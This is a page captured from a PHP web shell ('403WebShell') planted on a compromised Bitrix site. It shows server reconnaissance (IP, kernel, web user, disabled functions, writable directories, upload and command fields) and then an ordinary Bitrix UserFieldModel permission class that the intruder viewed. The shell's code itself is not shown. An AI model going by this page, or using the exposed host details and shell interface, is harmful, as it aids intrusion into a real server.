%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.110.145
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/userfield/access/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/userfield/access/model/userfieldmodel.php
<?php

namespace Bitrix\Main\UserField\Access\Model;

use Bitrix\Main\Access\AccessibleItem;
use Bitrix\Main\UserField\Access\Permission\UserFieldPermissionTable;
use Bitrix\Main\UserField\Access\UserAccessibleInterface;

class UserFieldModel implements \Bitrix\Main\Access\AccessibleItem
{
	private static $permissions;
	private $id = 0;

	public static function createNew(): self
	{
		return new self();
	}

	public static function createFromId(int $userFieldId): AccessibleItem
	{
		$model = new self();
		$model->setId($userFieldId);
		return $model;
	}

	private function __construct()
	{
	}

	public function getId(): int
	{
		return $this->id;
	}

	public function setId(int $id): self
	{
		$this->id = $id;
		return $this;
	}

	/**
	 * @param UserAccessibleInterface $user
	 * @param $permissionId
	 * @return int
	 */
	public function getPermission(UserAccessibleInterface $user, $permissionId): int
	{
		$permissions = $this->loadPermissions();

		$value = 0;
		foreach ($user->getAccessCodes() as $ac)
		{
			if (!array_key_exists($ac, $permissions))
			{
				continue;
			}
			$value = ($permissions[$ac][$permissionId] > $value) ? $permissions[$ac][$permissionId] : $value;
		}

		return $value;
	}

	/**
	 * @param UserAccessibleInterface $user
	 * @param int $permissionId
	 * @return array
	 */
	public function getPermissions(UserAccessibleInterface $user, int $permissionId): array
	{
		$permissions = $this->loadPermissions();

		$values = [];
		foreach ($user->getAccessCodes() as $ac)
		{
			foreach ($permissions as $userFieldId => $userFieldPermission)
			{
				if (!isset($values[$userFieldId]))
				{
					$values[$userFieldId] = 0;
				}

				/**
				 * if there are no access codes for the specified field action for a particular field,
				 * then set the field to allowed
				 */
				if(!isset($userFieldPermission[$permissionId]) && !isset($userFieldPermission[$permissionId][$ac]))
				{
					$userFieldPermission[$permissionId][$ac] = true;
				}
				// if the field has other codes but no specific user codes, then the field is not allowed
				else if(!isset($userFieldPermission[$permissionId][$ac]))
				{
					$userFieldPermission[$permissionId][$ac] = false;
				}

				$values[$userFieldId] = (
				($userFieldPermission[$permissionId][$ac] > $values[$userFieldId])
					? $userFieldPermission[$permissionId][$ac]
					: $values[$userFieldId]
				);

			}
		}

		return $values;
	}

	/**
	 * @return array
	 */
	public function loadPermissions(): array
	{
		if (static::$permissions === null)
		{
			static::$permissions = [];

			$res = UserFieldPermissionTable::query()
				->addSelect('*')
				//->where('ENTITY_TYPE_ID', $entityTypeId)
				->exec()
				->fetchAll();

			foreach ($res as $row)
			{
				static::$permissions[$row['USER_FIELD_ID']][$row['PERMISSION_ID']][$row['ACCESS_CODE']] = (int) $row['VALUE'];
			}

		}
		return static::$permissions;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit